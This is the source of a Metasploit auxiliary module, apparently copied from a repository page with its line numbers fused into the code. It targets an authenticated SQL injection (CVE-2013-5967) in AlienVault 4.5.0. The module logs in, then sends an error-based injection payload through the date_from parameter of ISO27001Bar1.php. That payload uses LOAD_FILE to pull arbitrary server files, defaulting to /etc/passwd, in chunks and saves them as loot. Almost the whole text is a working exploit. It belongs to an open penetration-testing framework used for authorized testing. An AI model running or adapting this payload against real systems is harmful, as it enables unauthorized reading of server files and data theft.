Path: blob/master/modules/auxiliary/gather/alienvault_iso27001_sqli.rb
33761 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",13'Description' => %q{14AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG15generation PHP file. This module exploits this to read an arbitrary file from16the file system. Any authenticated user is able to exploit it, as administrator17privileges aren't required.18},19'License' => MSF_LICENSE,20'Author' => [21'Brandon Perry <bperry.volatile[at]gmail.com>' # meatpistol module22],23'References' => [24['CVE', '2013-5967'],25['EDB', '32644']26],27'DefaultOptions' => {28'SSL' => true29},30'Platform' => ['linux'],31'Privileged' => false,32'DisclosureDate' => '2014-03-30',33'Notes' => {34'Reliability' => UNKNOWN_RELIABILITY,35'Stability' => UNKNOWN_STABILITY,36'SideEffects' => UNKNOWN_SIDE_EFFECTS37}38)39)4041register_options(42[43Opt::RPORT(443),44OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),45OptString.new('USERNAME', [ true, 'Single username' ]),46OptString.new('PASSWORD', [ true, 'Single password' ]),47OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ])48]49)50end5152def run53print_status("Get a valid session cookie...")54res = send_request_cgi({55'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')56})5758unless res and res.code == 20059print_error("Server did not respond in an expected way")60return61end6263cookie = res.get_cookies6465if cookie.blank?66print_error("Could not retrieve a cookie")67return68end6970post = {71'embed' => '',72'bookmark_string' => '',73'user' => datastore['USERNAME'],74'passu' => datastore['PASSWORD'],75'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])76}7778print_status("Login...")7980res = send_request_cgi({81'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),82'method' => 'POST',83'vars_post' => post,84'cookie' => cookie85})8687unless res and res.code == 30288print_error("Server did not respond in an expected way")89return90end9192unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')93print_error("Authentication failed")94return95end9697cookie = res.get_cookies9899if cookie.blank?100print_error("Could not retrieve the authenticated cookie")101return102end103104i = 0105full = ''106filename = datastore['FILEPATH'].unpack("H*")[0]107left_marker = Rex::Text.rand_text_alpha(6)108right_marker = Rex::Text.rand_text_alpha(6)109110print_status("Exploiting SQLi...")111112loop do113file = sqli(left_marker, right_marker, i, cookie, filename)114return if file.nil?115break if file.empty?116117str = [file].pack("H*")118full << str119vprint_status(str)120121i = i + 1122end123124path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])125print_good("File stored at path: " + path)126end127128def sqli(left_marker, right_marker, i, cookie, filename)129pay = "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"130pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"131pay << "0x20)),#{(50 * i) + 1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"132pay << " GROUP BY x)a) AND 'xnDa'='xnDa"133134get = {135'date_from' => pay,136'date_to' => '2014-03-30'137}138139res = send_request_cgi({140'uri' => normalize_uri(target_uri.path, 'ossim', 'report', 'BusinessAndComplianceISOPCI', 'ISO27001Bar1.php'),141'cookie' => cookie,142'vars_get' => get143})144145if res and res.body and res.body =~ /#{left_marker}(.*)#{right_marker}/146return $1147else148print_error("Server did not respond in an expected way")149return nil150end151end152end153154155